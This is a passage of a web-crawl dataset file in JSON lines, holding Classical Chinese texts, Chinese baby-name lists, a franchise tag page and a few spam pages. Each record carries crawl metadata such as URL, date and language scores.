,及吃力不讨好。如:品、容、蓉、吕、喜、嘉、高、器、歌。","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/www.zzxqdpx.com\/MZDQ\/CBW64744.html","date":"2019-03-22T22:14:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202698.22\/warc\/CC-MAIN-20190322220357-20190323002357-00324.warc.gz","language":"lzh","language_score":0.9955645204,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.9955645203590393}","num_words":571,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"春夜宴桃李園序\n李白\n夫天地者,萬物之逆旅。光陰者,百代之過客。而浮生若夢,為歡幾何?古人秉燭夜游,良有以也。況陽春召我以煙景,大塊假我以文章。會桃李之芳園,序天倫之樂事。群季俊秀,皆為惠連;吾人詠歌,獨慚康樂。幽賞未已,高談轉清。開瓊筵以坐花,飛羽觴而醉月。不有佳作,何伸雅懷?如詩不成,罰依金谷酒數。","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/cowwu.myweb.hinet.net\/prose.htm","date":"2019-05-26T04:09:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232258621.77\/warc\/CC-MAIN-20190526025014-20190526051014-00162.warc.gz","language":"lzh","language_score":0.6219707131,"language_script":"Hani","minhash_cluster_size":15,"top_langs":"{\"lzh_Hani_score\": 0.6219707131385803, \"cmn_Hani_score\": 0.2509867548942566, \"nan_Hani_score\": 0.05962033197283745, \"yue_Hani_score\": 0.012702368199825287}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.384,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子部四十一 雜家類存目八\n女教書 四卷\n永樂大典本\n元許熙載撰。熙載字獻臣。彰德相州人。參知政事有壬之父也。是編集經書及先儒之言。凡有關於女教者。分爲六篇。曰內訓。曰昏禮。曰婦道。曰母儀。曰孝行。曰貞節。","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0272102.html","date":"2019-08-21T22:07:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027316549.78\/warc\/CC-MAIN-20190821220456-20190822002456-00326.warc.gz","language":"lzh","language_score":0.7273350358,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.7273350358009338, \"cmn_Hani_score\": 0.16070139408111572, \"yue_Hani_score\": 0.06304877251386642, \"jpn_Jpan_score\": 0.027929585427045822, \"wuu_Hani_score\": 0.011494440026581287}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.727,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n宋亚茹 宋娅萱 宋达萍 宋宛玲 宋彩琳 宋青文 宋养蓉 宋仰蓉 宋舒婷 宋琴飞 宋燕红 宋梓丽 宋保妹 宋宝妹 宋淑婷 宋姝蓉 宋悦骞 宋汝倩 宋钥倩 宋悦倩 宋好文 宋芷妍 宋成梅 宋宝琳 宋正霞 宋占芬 宋雨悦 宋愉悦 宋卫芳 宋悦柔 宋悦桦 宋玲昊 宋玲杰 宋玲君 宋玲军 宋霄瑶 宋潇瑶 宋竹梅 宋达文 宋祖瑶 宋贤梅 宋沐瑶 宋婉瑶 宋四玉 宋立燕 宋怡文 宋艺文 宋李红 宋燕君 宋燕军 宋群芳 宋克琼 宋伟娜 宋力娜 宋朕莹 宋如霞 宋育娟 宋乙文 宋冬娟 宋富倩 宋富莹 宋富颖 宋富秀 宋秋娟 宋富瑶 宋富媛 宋悦宜 宋德萍 宋惠蓉 宋秀晗 宋克文 宋小妞 宋键英 宋新洁 宋珍英 宋国玲 宋曼婷 宋煜文 宋怡如 宋汶娟 宋亚丽 宋楚妍 宋燕波 宋怡怿 宋昭文 宋妍柔 宋妍璇 宋妍谈 宋妍泽 宋妍森 宋妍容 宋妍姿 宋妍和 宋妍妙 宋妍语 宋菊红 宋怡苇 宋妍苇 宋兆婷 宋志艳 宋汝怡 宋芳娜 宋柳燕 宋真娜 宋蓉芬 宋行文 宋士英 宋燕宁 宋建莉 宋娅佟 宋毅红 宋娅桐 宋娅彤 宋时琳 宋依玲 宋宇丽 宋筠茹 宋毛娟 宋唯红 宋蔼颖 宋宜婷 宋韵茹 宋秀舟 宋艺婷 宋霭婧 宋恺婧 宋颖颖 宋恩玲 宋新悦 宋永琴 宋卓瑛 宋小艳 宋婷玉 宋泰玉 宋生媛 宋爱丽 宋香梅 宋福霞 宋轲玲 宋坷玲 宋克玲 宋柯玲 宋苛玲 宋珂玲 宋科玲 宋可玲 宋阿萍 宋灵燕 宋艺洁 宋宁娟 宋益玲 宋贾玲 宋少霞 宋宜燕 宋燕汶 宋昕茹 宋筠瑶 宋景霞 宋文燕 宋剑文 宋俊美 宋锋霞 宋友英 宋孚娥 宋妤娥 宋学芬 宋震萍 宋娅琳 宋媛君 宋锦芳 宋谨芳 宋江红 宋慰红 宋薇红 宋魏红 宋为红 宋含文 宋缨红 宋小冉 宋霞红 宋怡菲 宋沁嫣 宋日霞 宋修美 宋之妍 宋惠琳 宋录玲 宋秀凝 宋吉英 宋正洁 宋叶红 宋卓玉 宋卓娅 宋学颖 宋怡卓 宋国琳 宋茹惠 宋清梅 宋春娥 宋梦婷 宋姝洁 宋润妍 宋怡菽 宋宇倩 宋语婧 宋沁文 宋媛雅 宋祖梅 宋景莉 宋光玲 宋静芳 宋若文 宋柏莹 宋柏瑶 宋柏妍 宋紫霞 宋蓉鸣 宋兰英 宋雪琴 宋梦媛 宋玉蓉 宋新玲 宋梅红 宋婧龄 宋雪莉 宋秀鸣 宋燕如 宋君玲 宋忠芳 宋娜锦 宋柔燕 宋爱美 宋晓婷 宋思媛 宋风梅 宋旺洁 宋常怡 宋千茹 宋常秀 宋蓉骊 宋兰花 宋硕文 宋常萍 宋婧颖 宋苇红 宋尉红 宋蔚红 宋韦红 宋维娅 宋瑞芬 宋睿萍 宋润萍 宋三萍 宋晓茹 宋静瑶 宋润芳 宋思艳 宋师妍 宋鹏英 宋司妍 宋福莉 宋瑞英 宋春玉 宋润玲 宋惠艳 宋岳红 宋岳霞 宋芹娟 宋焕英 宋雅燕 宋娅萁 宋怡珊 宋汶洁 宋艳琴 宋婧媛 宋丹瑶 宋光文 宋一嫣 宋作玲 宋梦冉 宋梓瑛 宋妍静 宋琴琴 宋凯霞 宋茹宜 宋煜怡 宋冠怡 宋雪瑶 宋冰花 宋瀚文 宋瑞花 宋月萍 宋晓雪 宋双玲 宋春萍 宋江婷 宋举红 宋琳艳 宋琳燕 宋瑜冉","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/www.www681.cn\/show_A01.aspx","date":"2019-08-23T01:48:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317688.48\/warc\/CC-MAIN-20190822235908-20190823021908-00338.warc.gz","language":"lzh","language_score":0.9928661585,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.9928661584854126}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n魏濠旭 魏岩涛 魏翰泽 魏家擘 魏擘 魏保保 魏缣保 魏趼保 魏小葆 魏委 魏沩 魏涠 魏韪 魏隗 魏圩 魏崴 魏尉 魏谓 魏卫 魏威 魏建炮 魏王雯 魏大堡 魏景峰 魏訾轩 魏增范 魏纤然 魏子潇 魏纤纤 魏乐乐 魏凤香 魏傲然 魏偶 魏偶然 魏张 魏格 魏晓东 魏丝丝 魏芊慧 魏昌军 魏晓克 魏博才 魏才博 魏少峰 魏绮灿 魏宁灿 魏菁灿 魏敬 魏合灿 魏凤灿 魏荣灿 魏翠灿 魏喜灿 魏歌灿 魏宾灿 魏家兴 魏碧灿 魏鹏湾 魏思楠 魏拓 魏毓莲 魏森 魏衡 魏宁莲 魏楠 魏广才 魏慧敏 魏宁阑 魏碧阑 魏翠阑 魏文博 魏思翔 魏天翔 魏凡焱 魏子晶 魏青凤 魏志刚 魏小羽 魏煜坤 魏诗雨 魏煜峰 魏建志 魏建保 魏曼琪 魏安琪 魏桂芹 魏晨旭 魏晨卉 魏嘉灿 魏华灿 魏梦灿 魏相胜 魏煊静 魏焕耘 魏焕容 魏焕真 魏锦杰 魏滢骥 魏可隽 魏宏波 魏蜒卜 魏蜒人 魏园丁 魏智 魏士涵 魏士坤 魏彩诗 魏彩晖 魏新智 魏千人 魏盟欢 魏新权 魏秀璨 魏合妙 魏如妙 魏语宸 魏帆秀 魏秀帆 魏语辰 魏语晴 魏靖涵 魏语聪 魏雨聪 魏宇聪 魏春娣 魏一妃 魏祥储 魏京奇 魏珠羽 魏瑞敏 魏敏瑞 魏敏王 魏敏三 魏悠卜 魏若又 魏敏人 魏钰蓓 魏钰嫒 魏熙嫒 魏熙静 魏诗润 魏鹳滟 魏彦羽 魏晓明 魏志军 魏高 魏华春 魏云城 魏泉涛 魏皖宁 魏臻瑞 魏胜和 魏湘娴 魏孟襄 魏羡然 魏襄然 魏菲樊 魏孟馨 魏若然 魏仕钧 魏福钧 魏咏钧 魏有钧 魏家钧 魏汉钧 魏浩钧 魏祖航 魏安 魏里萨 魏曼迪 魏晓利 魏绍祖 魏子皓 魏世钧 魏敦钧 魏海钧 魏杰钧 魏钧 魏之钧 魏子峻 魏士翔 魏冠行 魏子雄 魏源钧 魏丽辉 魏子承 魏长清 魏洪峰 魏菡 魏焓 魏嘉鸿 魏嘉虹 魏嘉弘 魏嘉宏 魏弘博 魏龙辰 魏素斌 魏江涛 魏熙芸 魏枷濠 魏澈 魏希童 魏浠彤 魏海彤 魏希潼 魏希桐 魏希僮 魏宗岚 魏欣钰 魏钰芸 魏新钰 魏琪洋 魏芷童 魏希彤 魏刈韬 魏颐韬 魏羿韬 魏翊韬 魏御韬 魏致韬 魏智韬 魏宗民 魏美烨 魏卓言 魏琦儿 魏煜宸 魏楚洋 魏美娇 魏美婕 魏靖宸 魏池 魏捷佳 魏艳虹 魏捷华 魏周程 魏楚阳 魏洪涛 魏小皖 魏金晔 魏美叶 魏三晔 魏月晔 魏美晔 魏江依 魏江月 魏江跃 魏江越 魏晓暄 魏暄 魏孔武 魏晔华 魏晓晔 魏元 魏吉军 魏淑贞 魏积军 魏智龙 魏子寒 魏国霆 魏国泓 魏国淮 魏越 魏红铃 魏桂兰 魏景存 魏景轶 魏景贤 魏小舟 魏五多 魏山钧 魏旭茂 魏香华 魏广君 魏远华 魏泽纭 魏方祺 魏辉强 魏荣霖 魏华凝 魏泽筠 魏可盈 魏天斌 魏箫屿 魏萧屿 魏语童 魏筠童 魏靖童 魏安安 魏雅安 魏冬威 魏诣轩 魏新容 魏群真 魏大勇 魏贞竹 魏美冰 魏爱荣 魏志纯 魏凡翔","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/bbb681.cn\/show_14E.aspx","date":"2019-09-21T00:24:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574159.19\/warc\/CC-MAIN-20190921001810-20190921023810-00308.warc.gz","language":"lzh","language_score":0.9976361394,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.9976361393928528}","num_words":300,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n石壕吏 暮投石壕村,有吏夜捉人。老翁逾墙走,老妇出门看。吏呼一何怒,妇啼一何苦。听妇前致词,三男邺城戍。一男附书至,二男新战死。存者且偷生,死者长已矣。室中更无人,惟有乳下孙。有孙母未去,出入无完裙。老妪力...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/zzjjt.tw\/index$&tag=hGgtcYtHPm&tagLabel=%E6%88%98%E4%BA%89.htm","date":"2020-01-17T20:04:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250590107.3\/warc\/CC-MAIN-20200117180950-20200117204950-00218.warc.gz","language":"lzh","language_score":0.7643828392,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7643828392028809, \"cmn_Hani_score\": 0.14789876341819763, \"nan_Hani_score\": 0.04529886320233345, \"wuu_Hani_score\": 0.01977950893342495, \"yue_Hani_score\": 0.018101589754223824}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.26,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.824,"perplexity_score":500.0,"cluster_detection":1} +{"text":"千亿体育市场再次猜测推迟3月份预算案英镑又添近忧\n子曰:\"臧文仲其窃位者与!知柳下惠之贤而不与立也。\"\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n\"且夫王事固未有不始於忧勤,而终於佚乐者也。然则受命之符,合在於此矣。方将增泰山之封,加梁父之事,鸣和鸾,扬乐颂,上咸五,下登三。观者未睹指,听者未闻音,犹鹪明已翔乎寥廓,而罗者犹视乎薮泽。悲夫!\"\n宛孔氏之先,梁人也,用铁冶为业。秦伐魏,迁孔氏南阳。大鼓铸,规陂池,连车骑,游诸侯,因通商贾之利,有游闲公子之赐与名。然其赢得过当,愈於纤啬,家致富数千金,故南阳行贾尽法孔氏之雍容。\n人有上书告新垣平所言气神事皆诈也。下平吏治,诛夷新垣平。自是之後,文帝怠於改正朔服色神明之事,而渭阳、长门五帝使祠官领,以时致礼,不往焉。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/wap.acrylicforums.com\/OXBQX40960.html","date":"2020-02-28T01:28:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146940.95\/warc\/CC-MAIN-20200228012313-20200228042313-00380.warc.gz","language":"lzh","language_score":0.4591151774,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4591151773929596, \"cmn_Hani_score\": 0.24122746288776398, \"zxx_Latn_score\": 0.04028620198369026, \"und_Tang_score\": 0.032359909266233444, \"nan_Hani_score\": 0.028550364077091217, \"yue_Hani_score\": 0.01959649659693241, \"wuu_Hani_score\": 0.01710883155465126, \"und_Cyrl_score\": 0.016982020810246468, \"und_Yiii_score\": 0.013058762066066265, \"und_Hluw_score\": 0.010442592203617096}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.236,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SA 多人游戏餐饮业的思变数字化零售化提速洗牌期如何突围\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n臣闻贤圣之君不以禄私亲,其功多者赏之,其能当者处之。故察能而授官者,成功之君也;论行而结交者,立名之士也。臣窃观先王之举也,见有高世主之心,故假节於魏,以身得察於燕。先王过举,厕之宾客之中,立之群臣之上,不谋父兄,以为亚卿。臣窃不自知,自以为奉令承教,可幸无罪,故受令而不辞。\n\"三人行,必得我师。\"\"德之不脩,学之不讲,闻义不能徙,不善不能改,是吾忧也。\"使人歌,善,则使复之,然后和之。\n十七年,诛赵同、赵括,族灭之。韩厥曰:\"赵衰、赵盾之功岂可忘乎?柰何绝祀!\"乃复令赵庶子武为赵後,复与之邑。\n子食于有丧者之侧,未尝饱也。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/3ht7h.szwlsj.com\/?ccsfn\/02665.html","date":"2020-04-01T15:26:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370505731.37\/warc\/CC-MAIN-20200401130837-20200401160837-00495.warc.gz","language":"lzh","language_score":0.5293610692,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5293610692024231, \"cmn_Hani_score\": 0.3114711046218872, \"nan_Hani_score\": 0.10750230401754379, \"wuu_Hani_score\": 0.017876604571938515}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.607,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门二十一点游戏网站电动车续航造假是谁在欺骗你\n填赵塞常山以广河内,弱楚权,明汉王之信於天下。作张耳陈馀列传第二十九。\n子曰:\"德不孤,必有邻。\"\n昭公六年卒。六卿彊,公室卑。子顷公去疾立。\n孔子自陈入卫。九年,孔文子问兵於仲尼,仲尼不对。其後鲁迎仲尼,仲尼反鲁。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/mobile.hsxgf.com\/yltdh\/","date":"2020-03-29T14:41:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370494349.3\/warc\/CC-MAIN-20200329140021-20200329170021-00181.warc.gz","language":"lzh","language_score":0.7078026533,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.7078026533126831, \"cmn_Hani_score\": 0.16009007394313812, \"jpn_Jpan_score\": 0.020070690661668777, \"yue_Hani_score\": 0.015754826366901398, \"nan_Hani_score\": 0.015739914029836655, \"zxx_Latn_score\": 0.01207257341593504, \"wuu_Hani_score\": 0.01004580408334732}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.407,"perplexity_score":500.0,"cluster_detection":1} +{"text":"邯郸福连升老北京布鞋、休闲鞋品牌加盟店信息和邯郸鞋店加盟方法介绍。\n河南 新乡 安徽 天长 滁州 江苏 扬州 湖南 武冈 邵阳 巩义 榆林 府谷 陕西 江西 赣州 金山区 上海 周口 常德 渝北 重庆 山东 德州 内蒙古 赤峰 会昌 辽宁 葫芦岛 湖北","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.fuliansheng.com\/tags.php?\/420\/","date":"2021-05-13T08:26:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243990584.33\/warc\/CC-MAIN-20210513080742-20210513110742-00355.warc.gz","language":"lzh","language_score":0.6596734524,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6596734523773193, \"cmn_Hani_score\": 0.3277864158153534}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.66,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n何蓓 何冰 何畅 何晨 何楚 何东 何方 何炅 何果 何浩 何和 何嘉 何鹪 何金 何进 何晋 何静 何俊 何咳 何锟 何兰 何蕾 何黎 何栗 何炼 何林 何灵 何刘 何流 何柳 何龙 何銮 何萌 何能 何鹏 何平 何朴 何其 何棋 何强 何荣 何容 何锐 何睿 何珊 何胜 何伟 何晓 何昕 何馨 何栩 何彦 何谳 何寅 何余 何愚 何昱 何塬 何桢 何卓 何啊法 何艾霖 何安其 何骜博 何骜一 何柏祖 何倍锐 何彬銮 何晨郡 何承明 何楚蕙 何楚谣 何楚遥 何楚沅 何楚昀 何德才 何德海 何东啸 何冬凤 何方明 何风景 何福涛 何富存 何光洪 何嗨纲 何嗨港 何海冈 何海刚 何海岗 何海纲 何海缸 何海钢 何海罡 何海港 何海江 何海扛 何氦刚 何氦纲 何氦港 何含丹 何函霏 何涵礼 何翰谦 何昊龙 何昊茏 何昊珑 何昊彦 何宏伟 何慧茗 何纪双 何家洪 何家金 何家灵 何嘉灵 何嘉烨 何建光 何剑鹏 何健祖 何江霖 何江苓 何姜霖 何姜苓 何姜凌 何疆霖 何金川 何金存 何金凤 何金兴 何金选 何劲松 何敬莲 何静竞 何俊霆 何咳金 何克金 何孔俭 何孔建 何孔健 何兰凤 何礼函 何礼涵 何立峰 何立坚 何立新 何立源 何丽华 何丽诗 何利典 何利辉 何励聪 何炼炼 何林成 何林泽 何霖俐 何泠萱 何美灵 何美杉 何梦影 何明明 何铭利 何铭祖 何末根 何木弱 何念唏 何念皙 何念曦 何培佩 何佩芩 何扑金 何其蓓 何其林 何其灵 何其然 何其睿 何其弱 何其钰 何奇灵 何奇锐 何淇锐 何萁灵 何琦钰 何启灵 何启弱 何庆魁 何荣武 何瑞武 何润华 何赛妮 何森新 何少戆 何少绛 何少铭 何少小 何晟铭 何诗琪 何世光 何世云 何庶君 何妁海 何思其 何思琦 何思琪 何思远 何天黎 何天龙 何天民 何天添 何宛凌 何宛琪 何宛亭 何万国 何炜亭 何玮柏 何卫军 何文杰 何文君 何文珠 何熙韬 何仙超 何先婕 何宪清 何潇励 何晓华 何心绛 何昕营 何欣光 何新苗 何新彦 何兴碧 何兴淑 何星叔 何炫佑 何雅君 何雅筠 何亚峰 何垭滢 何垭愉 何言鑫 何彦锋 何彦祖 何一福 何漪萱 何义华 何忆萱 何艺萱 何佚萱 何易明 何绎萱 何驿萱 何奕萱 何奕祖 何弈萱 何逸萱 何毅海 何毅萱 何薏萱 何引琪 何应彪 何颖其 何颖奇 何颖颀 何颖琦 何颖琪 何影其 何映驹 何永强 何永毅 何勇军 何予弱 何宇祖 何裕祖 何远豪 何月凯 何月滢 何昀营 何韫萱 何兆林 何兆灵 何振祖 何至弱 何志光 何志强 何致熙 何忠平 何忠坪 何忠伟 何舟其 何紫彤 何紫沅 何宗礼","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-s1-21-1.html","date":"2021-09-21T10:38:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00073.warc.gz","language":"lzh","language_score":0.9985358119,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9985358119010925}","num_words":292,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n魏安 魏昂 魏报 魏豹 魏暴 魏爆 魏碧 魏彬 魏斌 魏兵 魏波 魏玻 魏菠 魏博 魏搏 魏礴 魏擘 魏参 魏灿 魏畅 魏超 魏澈 魏琛 魏臣 魏陈 魏晨 魏谌 魏闯 魏榇 魏柽 魏成 魏城 魏程 魏池 魏楚 魏川 魏慈 魏聪 魏翠 魏丹 魏单 魏焘 魏丢 魏东 魏冬 魏栋 魏尔 魏方 魏飞 魏妃 魏菲 魏风 魏枫 魏峰 魏锋 魏福 魏辅 魏富 魏刚 魏钢 魏高 魏格 魏梏 魏国 魏海 魏海 魏海 魏海 魏涵 魏焓 魏汉 魏菡 魏颢 魏禾 魏河 魏恒 魏珩 魏衡 魏宏 魏鸿 魏华 魏骅 魏槐 魏辉 魏慧 魏吉 魏辑 魏佳 魏家 魏嘉 魏镓 魏坚 魏间 魏监 魏俭 魏建 魏健 魏江 魏姣 魏娇 魏杰 魏婕 魏金 魏矜 魏锦 魏廑 魏槿 魏瑾 魏晋 魏晶 魏敬 魏靓 魏靖 魏静 魏菊 魏珏 魏军 魏君 魏钧 魏俊 魏凯 魏侃 魏珂 魏可 魏孔 魏旷 魏馈 魏坤 魏阔 魏来 魏徕 魏涞 魏莱 魏铼 魏兰 魏岚 魏蓝 魏谰 魏澜 魏乐 魏磊 魏黎 魏里 魏力 魏立 魏利 魏励 魏俐 魏栎 魏亮 魏林 魏麟 魏灵 魏凌 魏菱 魏泸 魏辂 魏禄 魏璐 魏栾 魏銮 魏萌 魏猛 魏孟 魏宓 魏冕 魏民 魏泯 魏敏 魏明 魏鸣 魏铭 魏漠 魏南 魏楠 魏妮 魏霓 魏宁 魏偶 魏攀 魏彭 魏鹏 魏平 魏枰 魏齐 魏骐 魏琦 魏旗 魏谦 魏茜 魏强 魏乔 魏桥 魏巧 魏秦 魏勤 魏嗪 魏溱 魏青 魏清 魏晴 魏庆 魏全 魏权 魏泉 魏铨 魏群 魏然 魏让 魏荣 魏容 魏嵘 魏榕 魏瑞 魏睿 魏润 魏三 魏森 魏沙 魏珊 魏裳 魏申 魏盛 魏帅 魏爽 魏铄 魏硕 魏思 魏松 魏它 魏覃 魏涛 魏滔 魏韬 魏桃 魏陶 魏淘 魏腾 魏天 魏畋 魏亭 魏拓 魏崴 魏婉 魏菀 魏万 魏望 魏威 魏偎 魏葳 魏微 魏巍 魏韦 魏圩 魏帏 魏沩 魏涠 魏帷 魏惟 魏维 魏潍 魏伟 魏纬 魏委 魏炜 魏玮 魏隗 魏韪 魏卫 魏尉 魏谓 魏蔚 魏慰 魏闻 魏稳 魏武 魏喜 魏侠 魏贤 魏显 魏翔 魏享 魏逍 魏潇 魏孝 魏笑 魏心 魏忻 魏辛 魏昕 魏欣 魏莘 魏新 魏歆 魏馨 魏鑫 魏信 魏衅 魏兴 魏星 魏暄 魏延 魏严 魏岩 魏炎 魏琰 魏焱 魏扬 魏阳 魏徉 魏业 魏晔 魏烨 魏一 魏伊 魏诒 魏颐 魏乙 魏义 魏亿 魏艺 魏奕 魏翌 魏逸 魏毅 魏懿 魏鹰 魏滢 魏影 魏勇 魏瑜 魏宇 魏羽 魏语 魏昱 魏钰 魏煜 魏誉 魏元 魏园 魏源 魏月 魏钺 魏越 魏云 魏芸 魏昀 魏泽 魏增 魏张 魏彰 魏肇 魏哲 魏珍 魏真 魏祯 魏震 魏峥 魏铮 魏政 魏执 魏直 魏芷 魏志 魏致 魏智 魏置 魏钟 魏周 魏柱 魏孜 魏梓 魏爱国 魏爱荣 魏嫒梦 魏瑷梦 魏瑷骐 魏安安 魏安利 魏安林 魏安楠 魏安琪 魏安晴 魏安正 魏傲澜 魏傲然 魏八章 魏巴晔 魏巴跃 魏巴越 魏百斤 魏百园 魏柏锦 魏柏兰 魏柏轩 魏帮华 魏宝华 